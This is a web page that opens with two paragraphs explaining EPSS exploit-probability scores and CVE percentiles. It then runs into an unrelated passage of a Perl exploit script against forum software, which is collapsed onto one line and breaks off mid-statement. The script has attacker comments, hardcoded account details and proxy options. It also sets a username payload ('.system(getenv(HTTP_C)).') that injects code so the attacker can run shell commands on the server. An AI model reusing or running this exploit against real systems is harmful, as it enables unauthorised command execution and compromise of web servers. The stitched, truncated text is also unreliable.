The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

If everything is ok, # you'll have a new valid user created. # * There is a file mybibi_out.html where the exploit writes the output # for debugging. # - After you have created the exploit or if you have a valid non common # user, you can execute shell commands. # # TIPS: # * Sometimes you have to change the thread Id, --tid is your friend ;) # * Don't forget to change the email. You MUST activate the account. # * Mejor karate aun dentro ti. # # LIMITATIONS: # * If the admin have the username lenght < 28 this exploit doesn't works # # Greetz to !dSR ppl and unsec # # 514 still r0xing! # user config. my $uservar = "C"; # don't use large vars. my $password = "514r0x"; my $email = "514\@mailinator.com"; use LWP::UserAgent; use HTTP::Cookies; use LWP::Simple; use HTTP::Request::Common "POST"; use HTTP::Response; use Getopt::Long; use strict; $| = 1; # you can choose this or another one. my ($proxy,$proxy_user,$proxy_pass, $username); my ($host,$debug,$dir, $command, $del, $first_time, $tid); my ($logged, $tid) = (0, 2); $username = "'.system(getenv(HTTP_".$uservar.")).'"; my $options = GetOptions ( 'host=s' => \$host, 'dir=s' => \$dir, 'proxy=s' => \$proxy, 'proxy_user=s' => \$proxy_user, 'proxy_pass=s' => \$proxy_pass, 'debug' => \$debug, '1' => \$first_time, 'tid=s' => \$tid, 'delete' => \$del); &help unless ($host); # please don't try this at home. $dir = "/" unless($dir); print "$host - $dir\n"; if ($host !~ /^http/) { $host = "http://".$host; } LWP::Debug::level('+') if $debug; my ($res, $req); my $ua = new LWP::UserAgent( cookie_jar=> { file => "$$.cookie" }); $ua->agent("Mothilla/5.0 (THIS IS AN EXPLOIT.
